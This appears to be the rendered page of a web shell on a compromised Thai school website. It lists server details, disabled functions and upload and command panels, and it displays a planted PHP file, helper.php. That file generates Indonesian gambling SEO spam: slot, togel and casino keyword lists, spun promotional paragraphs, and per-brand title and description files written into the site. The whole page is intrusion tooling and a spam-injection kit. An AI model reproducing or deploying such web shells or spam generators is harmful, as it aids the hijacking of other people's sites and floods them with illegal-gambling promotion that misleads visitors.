403Webshell
Server IP : 122.155.17.190  /  Your IP : 216.73.216.182
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : t1bnc ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/t1bnc/domains/t1bnc.ac.th/public_html/banner/content/t1bnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/t1bnc/domains/t1bnc.ac.th/public_html/banner/content/t1bnc/helper.php
<?php

function getGoogleSearchTitle($query) {
    $command = escapeshellcmd("py get_title.py " . escapeshellarg($query));
    $output = shell_exec($command);
    return trim($output);
}

function generateRandomDescription($titleKeyword, $action, $object, $descriptionModifier) {
    return "$titleKeyword Yang Hotel Contienental $descriptionModifier Adalah cara $action Terbaik untuk $object.";
}
function spinText($text) {
    while (preg_match('/\{([^{}]*)\}/', $text, $match)) {
        $options = explode('|', $match[1]);
        $text = preg_replace(
            '/\{'.preg_quote($match[1], '/').'\}/',
            $options[array_rand($options)],
            $text,
            1
        );
    }
    return $text;
}

function generateSpinArtikel($templates, $paragraphCount = 3) {
    $paragraphs = [];
    for ($i = 0; $i < $paragraphCount; $i++) {
        $template = $templates[array_rand($templates)];
        $paragraphs[] = spinText($template);
    }
    // gabungkan jadi 1 artikel dengan tag <p>
    return "<p>" . implode("</p>\n<p>", $paragraphs) . "</p>";
}
function generateRandomTitleAndDescription($brand = null) {
    $keywords = [
        'Situs Slot',
        'Situs Slot Online',
        'Situs Slot Gacor',
        'Situs Slot88',
        'Situs Slot777',
        'Situs Togel',
        'Situs Togel Online',
        'Situs Judi',
        'Situs Judi Online',
        'Situs Casino Online',
        'Situs IDN Slot',
        'Situs IDN Play',
        'Situs IDN Poker',
        'Situs Toto',
        'Situs Toto Macau',
        'Situs Toto HK',
        'Situs Toto SGP',
        'Situs Toto 4D',
        'Situs Sbobet',
        'Situs Sporbook',
        'Situs Judi Bola',
        'Situs Bola',
        'Situs MPO',
        'Situs MPO Slot',
        'Situs Slot MPO',
        'Situs Slot 4D',
        'Situs 4D Slot',
        'Link Slot',
        'Link Slot Online',
        'Link Slot Gacor',
        'Link Slot88',
        'Link Slot777',
        'Link Togel',
        'Link Togel Online',
        'Link Judi',
        'Link Judi Online',
        'Link Casino Online',
        'Link IDN Slot',
        'Link IDN Play',
        'Link IDN Poker',
        'Link Toto',
        'Link Toto Macau',
        'Link Toto HK',
        'Link Toto SGP',
        'Link Toto 4D',
        'Link Sbobet',
        'Link Sporbook',
        'Link Judi Bola',
        'Link Bola',
        'Link MPO',
        'Link MPO Slot',
        'Link Slot MPO',
        'Link Slot 4D',
        'Link 4D Slot',
        'Login Slot',
        'Login Slot Online',
        'Login Slot Gacor',
        'Login Slot88',
        'Login Slot777',
        'Login Togel',
        'Login Togel Online',
        'Login Judi',
        'Login Judi Online',
        'Login Casino Online',
        'Login IDN Slot',
        'Login IDN Play',
        'Login IDN Poker',
        'Login Toto',
        'Login Toto Macau',
        'Login Toto HK',
        'Login Toto SGP',
        'Login Toto 4D',
        'Login Sbobet',
        'Login Sporbook',
        'Login Judi Bola',
        'Login Bola',
        'Login MPO',
        'Login MPO Slot',
        'Login Slot MPO',
        'Login Slot 4D',
        'Login 4D Slot',
        'Daftar Slot',
        'Daftar Slot Online',
        'Daftar Slot Gacor',
        'Daftar Slot88',
        'Daftar Slot777',
        'Daftar Togel',
        'Daftar Togel Online',
        'Daftar Judi',
        'Daftar Judi Online',
        'Daftar Casino Online',
        'Daftar IDN Slot',
        'Daftar IDN Play',
        'Daftar IDN Poker',
        'Daftar Toto',
        'Daftar Toto Macau',
        'Daftar Toto HK',
        'Daftar Toto SGP',
        'Daftar Toto 4D',
        'Daftar Sbobet',
        'Daftar Sporbook',
        'Daftar Judi Bola',
        'Daftar Bola',
        'Daftar MPO',
        'Daftar MPO Slot',
        'Daftar Slot MPO',
        'Daftar Slot 4D',
        'Daftar 4D Slot',
        'Agen Slot',
        'Agen Slot Online',
        'Agen Slot Gacor',
        'Agen Slot88',
        'Agen Slot777',
        'Agen Togel',
        'Agen Togel Online',
        'Agen Judi',
        'Agen Judi Online',
        'Agen Casino Online',
        'Agen IDN Slot',
        'Agen IDN Play',
        'Agen IDN Poker',
        'Agen Toto',
        'Agen Toto Macau',
        'Agen Toto HK',
        'Agen Toto SGP',
        'Agen Toto 4D',
        'Agen Sbobet',
        'Agen Sporbook',
        'Agen Judi Bola',
        'Agen Bola',
        'Agen MPO',
        'Agen MPO Slot',
        'Agen Slot MPO',
        'Agen Slot 4D',
        'Agen 4D Slot',
        'Platform Slot',
        'Platform Slot Online',
        'Platform Slot Gacor',
        'Platform Slot88',
        'Platform Slot777',
        'Platform Togel',
        'Platform Togel Online',
        'Platform Judi',
        'Platform Judi Online',
        'Platform Casino Online',
        'Platform IDN Slot',
        'Platform IDN Play',
        'Platform IDN Poker',
        'Platform Toto',
        'Platform Toto Macau',
        'Platform Toto HK',
        'Platform Toto SGP',
        'Platform Toto 4D',
        'Platform Sbobet',
        'Platform Sporbook',
        'Platform Judi Bola',
        'Platform Bola',
        'Platform MPO',
        'Platform MPO Slot',
        'Platform Slot MPO',
        'Platform Slot 4D',
        'Platform 4D Slot',
        'Website Slot',
        'Website Slot Online',
        'Website Slot Gacor',
        'Website Slot88',
        'Website Slot777',
        'Website Togel',
        'Website Togel Online',
        'Website Judi',
        'Website Judi Online',
        'Website Casino Online',
        'Website IDN Slot',
        'Website IDN Play',
        'Website IDN Poker',
        'Website Toto',
        'Website Toto Macau',
        'Website Toto HK',
        'Website Toto SGP',
        'Website Toto 4D',
        'Website Sbobet',
        'Website Sporbook',
        'Website Judi Bola',
        'Website Bola',
        'Website MPO',
        'Website MPO Slot',
        'Website Slot MPO',
        'Website Slot 4D',
        'Website 4D Slot',
    ];

    $secondKeywords=[
        'Slot88',
        'Slot777',
        'Slot77',
        'Slot Gacor',
        'Poker Online',
        'Casino Online',
        'Tembak Ikan',
        'Togel Online',
        'Slot 88',
        'Slot 777',
        'Slot 168',
        'Slot Dana',
        'Slot Qris',
        'Slot Pulsa',
        'Slot Maxwin',
        'IDN SLOT',
        'Parlay',
        'Mix Parlay',
        'X5000',
        'X1000',
        'Live RTP',
        'Slot Gacor 777',
        'Deposit Pulsa',
        'Pragmatic Play',
        'PG Soft',
        'No Limit City',
        'Habanero',
        'RTP Gacor',
        'Game Slot Gacor'
        
    ];

    $modifiers = [
        'Paling Gacor',
        'RTP Tinggi',
        'Gacor Hari Ini',
        'Gacor Malam Ini',
        'Mudah Maxwin',
        'Jackpot Maksimal',
        'Pilihan Terbaik',
        'Akun Gacor',
        'Akun VIP',
        'Mudah Jackpot',
        'Mudah Menang',
        'Gampang Meledak',
        'Gampang Menang',
        'Gampang Maxwin',
        'Paling Top',
        'Fitur Terbaru',
        'Bocoran RTP Slot',
        'Gampang Bocor',
        'Paling Cuan',
        'Cuan Besar'
 
    ];
    

    $actions = [
        'memiliki',
        'mendaftar',
        'direkomendasikan',
        'memberikan',
        'memenangkan',
        'menambah',
        'memperoleh',
        'dilengkapi',
        'mengutamakan',
        'menghadirkan'
      
    ];
    

    $objects = [
        'bonus besar',
        'hadiah utama',
        'program loyalitas',
        'slot terbaru',
        'promosi eksklusif',
        'penawaran istimewa',
        'slot mega',
        'jackpot progresif',
        'turnamen slot',
        'diskon khusus',
        'deposit pulsa',
        'jackpot maksimal',
        'peluang jackpot tinggi',
        'memberikan JP Maxwin',
        'perkalian x5000',
        'permainan judi',
        'deposit minimal Rp10.000, ',
        'povider slot resmi',
        'link alternatif',
        'bekersama dengan',
        'provider terbaik',
        'memberikan kesempatan',
        'industri perjudian',
        'pelayanan 24 jam'

    ];

    $thisis = [
        'adalah',
        'merupakan',
        'ialah',
        'yaitu',
        'yakni'
    ];

    $bests = [
        'Terbaik',
        'Terpercaya',
        'Terbaru',
        'Viral',
        'Terkini',
        'Terpopuler',
        'Tergacor',
        'Tergacor',
        'Paling Gacor',
    ];

    $sambungs = [
        'untuk',
        'agar',
        'menjadi',
        'oleh',
        'akan',
        'bagi',
        'buat',
        'perlu',
        'sepanjang',
        'guna',
        'demi',
        'mendapatkan',
        'menurut',
        'memiliki',
        'mendaftar',
        'direkomendasikan',
        'memberikan',
        'memenangkan',
        'menambah',
        'memperoleh',
        'dilengkapi',
        'mengutamakan',
        'menghadirkan'
    ];

    $batas =[
        " | ",
        " # ",
        " @ ",
        " : ",
        " - ",
        " [] ",
        " $ ",
        "|",
        "#",
        "@",
        ":",
        "-",
        "[]",
        "$",
        "⭐",
        "✨",
        "⚡",
        "❄️",
        "🔥",
        "🎇",
        "🎰",
        "✅",
        "❌",
        "🥇",
        "🎉",
        "🤖",
        "🌈",
        "🏠",
        "🌎",
        "🚩",
        "🚀",
        "🪂",
        "🛩️",
        "✈️",
        "🍷",
        "🍬",
        "📌",
        "📍",
        "🖋️",
        "💷",
        "💰",
        "🏷️",
        "🔖",
        "🕯️",
        "🔪",
        "📞",
        "🧲",
        "📢",
        "🔔",
        "♣️",
        "♥️",
        "♦️",
        "🀄",
        "🎲",
        "🎯",
        " ⭐ ",
        " ✨ ",
        " ⚡ ",
        " ❄️ ",
        " 🔥 ",
        " 🎇 ",
        " 🎰 ",
        " ✅ ",
        " ❌ ",
        " 🥇 ",
        " 🎉 ",
        " 🤖 ",
        " 🌈 ",
        " 🏠 ",
        " 🌎 ",
        " 🚩 ",
        " 🚀 ",
        " 🪂 ",
        " 🛩️ ",
        " ✈️ ",
        " 🍷 ",
        " 🍬 ",
        " 📌 ",
        " 📍 ",
        " 🖋️ ",
        " 💷 ",
        " 💰 ",
        " 🏷️ ",
        " 🔖 ",
        " 🕯️ ",
        " 🔪 ",
        " 📞 ",
        " 🧲 ",
        " 📢 ",
        " 🔔 ",
        " ♣️ ",
        " ♥️ ",
        " ♦️ ",
        " 🀄 ",
        " 🎲 ",
        " 🎯 " 

    ];

    

    $titleKeyword = $keywords[array_rand($keywords)];
    $secondKeyword = $keywords[array_rand($secondKeywords)];
    $descriptionModifier = $modifiers[array_rand($modifiers)];
    $action = $actions[array_rand($actions)];
    $object = $objects[array_rand($objects)];
    $object2 = $objects[array_rand($objects)];
    $is = $thisis[array_rand($thisis)];
    $best = $bests[array_rand($bests)];
    $sambung = $sambungs[array_rand($sambungs)];
    $sambung2 = $sambungs[array_rand($sambungs)];
    $bata = $batas[array_rand($batas)];

    $title = ucfirst("$brand$bata$titleKeyword $descriptionModifier $secondKeyword $best");
    $description = ucfirst(strtolower("$brand $is $titleKeyword $descriptionModifier $sambung $object $secondKeyword $action $sambung2 $object2 $best."));


    
    
    $templates = [
        "Platform $brand {selalu|senantiasa|konsisten} {menyediakan|menawarkan|menghadirkan} pengalaman {seru|menarik|berkesan|tak terlupakan} bagi {setiap|seluruh} pemain {slot online|game digital|casino virtual|casino online|slot gacor|slot dana|slot idn}.",
    
        "Dengan {dukungan|sistem|layanan} {aman|terpercaya|stabil} serta {teknologi|fitur|proses} {modern|canggih|mutakhir}, semua {transaksi|deposit dan penarikan|aktivitas} {pemain|member|user} {terjamin|terlindungi|terjaga kerahasiaannya}.",
    
        "Nikmati {bonus besar|promo eksklusif|hadiah melimpah|event spesial} setiap {hari|minggu|bulan} di $brand untuk {meningkatkan|memaksimalkan|melipatgandakan|memperbesar} peluang {menang|jackpot|kemenangan fantastis}.",
    
        "Bergabunglah dengan komunitas {ribuan|jutaan|puluhan ribu} pemain {aktif|setia|fanatik} yang telah merasakan {sensasi|keasyikan|serunya} bermain di $brand.",
    
        "Kami hadir dengan {ragam|koleksi|variasi} permainan {slot gacor|game terbaru|fitur interaktif|casino online|slot dana|slot online} dari {PG SOFT|Pragmatic Play|Habanero|provider terkemuka}, semua bisa {diakses|dimainkan|dinikmati} kapan saja tanpa batas.",
    
        "Rasakan {atmosfer|pengalaman|sensasi} {kasino|slot|poker} {modern|mewah|eksklusif} tanpa harus {pergi keluar|keluar rumah|datang ke tempat langsung}. Cukup {akses|buka|login} lewat perangkat {smartphone|laptop|PC}.",
    
        "Permainan yang tersedia {didukung|dilengkapi|ditenagai} dengan {grafik tajam|visual menawan|animasi halus} serta {suara realistis|efek audio imersif|soundtrack keren}.",
    
        "Deposit dan penarikan {instan|cepat|mudah} dengan {berbagai metode|pilihan lengkap|beragam opsi} pembayaran {lokal|internasional|digital|wallet}.",
    
        "Pemain baru akan {mendapatkan|berhak atas|disambut dengan} {bonus sambutan|welcome bonus|promo khusus} yang {melimpah|besar|menguntungkan}.",
    
        "Event {mingguan|bulanan|spesial} sering diadakan dengan {hadiah uang tunai|bonus saldo|voucher gratis} bagi {pemenang|member setia|peserta aktif}.",
    
        "Tim support kami {siaga|siap melayani|aktif} selama {24 jam|nonstop|setiap hari} untuk {membantu|menjawab|memberikan solusi}.",
    
        "Akses game lebih {praktis|cepat|fleksibel} melalui {aplikasi|APK|platform mobile} yang {ringan|stabil|mudah diinstal}.",
    
        "Situs {resmi|original|legal} ini memiliki {lisensi|sertifikasi|izin operasi} dari {otoritas terpercaya|lembaga internasional|pihak resmi}.",
    
        "Banyak {fitur tambahan|menu eksklusif|opsi personalisasi} yang bisa {memudahkan|meningkatkan|mengoptimalkan} pengalaman bermain Anda.",
    
        "RTP {tinggi|stabil|kompetitif} membuat peluang {jackpot|kemenangan|hasil besar} semakin {terjamin|terbuka lebar|mudah diraih}.",
    
        "Kami berkomitmen untuk {memberikan|menawarkan|menyediakan} {keamanan maksimal|perlindungan penuh|kenyamanan mutlak} kepada setiap pemain.",
    
        "Jangan lewatkan {kesempatan emas|momen langka|promo istimewa} yang hanya hadir {hari ini|minggu ini|periode tertentu} di {website|situs|platform} $brand.",
    
        "Slot dengan {tema unik|cerita menarik|desain kreatif} tersedia untuk {semua selera|berbagai gaya|setiap pemain}.",
    
        "Komunitas {ramah|solid|aktif} siap berbagi {tips|strategi|pengalaman} agar Anda bisa {meningkatkan peluang|lebih paham|bermain lebih cerdas}.",
    
        "Kami mendukung {permainan fair play|keadilan penuh|transparansi} sehingga semua {pemain|member} punya {kesempatan sama|peluang adil|level setara}.",
    
        "Tidak perlu {khawatir|bingung|ragu}, semua game sudah {diuji|divalidasi|disertifikasi} oleh {auditor independen|lembaga internasional}.",
    
        "Antarmuka {modern|elegan|minimalis} yang {mudah dipahami|user-friendly|intuitif} membuat siapa saja bisa {langsung bermain|mudah mengoperasikan|nyaman digunakan}.",
    
        "Pemain bisa {menyesuaikan|mengatur|mengubah} {fitur suara|grafik|pengaturan pribadi} sesuai {preferensi|kesukaan|kenyamanan}.",
    
        "Kami sering menambahkan {update game|konten baru|fitur segar} agar {tidak membosankan|selalu fresh|lebih seru}.",
    
        "Nikmati {putaran gratis|free spin|bonus spin} yang bisa {muncul kapan saja|hadir tiba-tiba|didapatkan dengan mudah}.",
    
        "Program {loyalti|VIP|member eksklusif} tersedia untuk {pemain setia|pengguna aktif} dengan {banyak keuntungan|bonus khusus|hadiah tambahan}.",
    
        "Semua game dapat dimainkan di {browser|aplikasi|perangkat apapun} tanpa perlu {instalasi rumit|download besar|konfigurasi khusus}.",
    
        "Server {stabil|kuat|handal} menjamin permainan {tanpa lag|lancar|anti patah-patah} meskipun dimainkan {ribuan|jutaan} orang sekaligus.",
    
        "Dengan {strategi tepat|cara bermain cerdas|pengelolaan saldo baik}, peluang untuk {profit|hasil positif|menang besar} akan semakin terbuka.",
    
        "Mainkan kapan saja, {pagi|siang|malam}, dari {rumah|kantor|dimanapun} dengan {bebas|fleksibel|tanpa batas waktu} hanya di $brand."
    ];
    
    // generate 3 paragraf unik
    $artikel = generateSpinArtikel($templates, 3);
    
 
    return ['title' => $title, 'description' => $description, 'artikel' => $artikel];
}


function deployTitleAndDescription($directoryPath, $dataFile) {
    $brands = file($dataFile, FILE_IGNORE_NEW_LINES);
    $totalBrands = count($brands);
    $directory = opendir($directoryPath);

    foreach ($brands as $index => $brand) {
        $googleTitle = getGoogleSearchTitle($brand);
        if (!$googleTitle) {
            echo "Tidak dapat menemukan hasil pencarian untuk $brand. Menghasilkan judul dan deskripsi secara acak.\n";
        }

        $data = generateRandomTitleAndDescription($brand, $googleTitle);
        $title = $data['title'];
        $description = $data['description'];
        $artikel = $data['artikel'];
        $artikelOneLine = preg_replace('/\s+/', ' ', trim($artikel));
        $fileName = str_replace(" ","-",$brand).".txt";
        $filePath = $directoryPath . DIRECTORY_SEPARATOR . $fileName;
        $templates =['evanto.html','etsy-1.html','blibli.html'];
        $temp = $templates[array_rand($templates)];
        file_put_contents($filePath, "Title: $title\nDescription: $description\nArtikel: $artikelOneLine\nTemplate: $temp\n");

        // Menampilkan angka progres
        $currentProgress = $index + 1;
        echo "Proses: $currentProgress dari $totalBrands (". round(($currentProgress / $totalBrands) * 100) ."%) - $fileName\n";
    }

    closedir($directory);
}

Youez - 2016 - github.com/yon3zu
LinuXploit